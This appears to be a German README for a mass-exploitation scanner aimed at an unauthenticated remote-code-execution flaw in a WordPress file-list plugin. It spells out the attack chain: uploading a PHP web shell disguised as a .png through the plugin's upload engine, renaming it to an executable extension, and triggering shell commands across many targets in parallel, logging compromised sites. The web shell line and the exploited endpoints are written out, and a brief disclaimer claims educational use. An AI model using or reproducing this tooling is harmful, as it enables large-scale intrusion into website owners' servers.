CVE-2025-34085 Multi-Ziel-RCE-Scanner

Massenausbeutungsscanner für CVE-2025-34085 — eine nicht authentifizierte Remote-Codeausführungsschwachstelle im WordPress Simple File List Plugin.

Dieses Tool lädt eine als Bild getarnte PHP-Nutzlast hoch, benennt sie über eine anfällige Datei-Engine um und löst die Shell-Ausführung mit einem benutzerdefinierten Befehl aus. Unterstützt Multithread-Scanning über große Zielmengen.

🔥 Funktionen

• Multi-Ziel-Scanning (aus targets.txt)
• Automatisches Hochladen & Umbenennen der schädlichen Nutzlast
• Webshell-Auslöser mit anpassbarem Befehl
• Thread-Ausführung für Geschwindigkeit
• Protokolliert erfolgreiche RCEs in vuln.txt

⚙️ Verwendung

python3 CVE-2025-34085.py

Ziele sollten in targets.txt aufgelistet sein:

example.com
http://target2.com
https://target3.com

🛠️ Konfiguration

Bearbeiten Sie die folgenden Werte im Skript nach Bedarf:

COMMAND = "id"                      # Shell command to execute
EXPECTED_SUBSTRING = "uid="        # String to verify successful command execution
THREADS = 20                        # Number of concurrent threads

💡 Funktionsweise

1. Lädt eine gefälschte .png-Datei mit dem Inhalt <?php system($_GET['cmd']); ?> über die anfällige ee-upload-engine.php hoch.
2. Benennt sie mit Hilfe von ee-file-engine.php in .php, .phtml usw. um.
3. Sendet eine GET-Anfrage, um die Shell mit cmd=id auszulösen.
4. Überprüft den Erfolg anhand des erwarteten Ausgabe-Teilstrings.

📂 Ausgabe

Erfolgreiche Treffer werden gespeichert unter:

vuln.txt

Jede Zeile enthält die anfällige URL, den Shell-Pfad und die Befehlsausgabe.

🧪 Getestet gegen

WordPress Simple File List Plugin (ungepatchte Versionen, die von CVE-2025-34085 betroffen sind)

Apache/Nginx-Standardeinrichtungen mit beschreibbarem wp-content/uploads/

⚠️ Haftungsausschluss

Dieses Tool dient nur zu Bildungs- und autorisierten Testzwecken. Die Verwendung erfolgt auf eigenes Risiko. Unbefugter Zugriff auf Systeme ist illegal.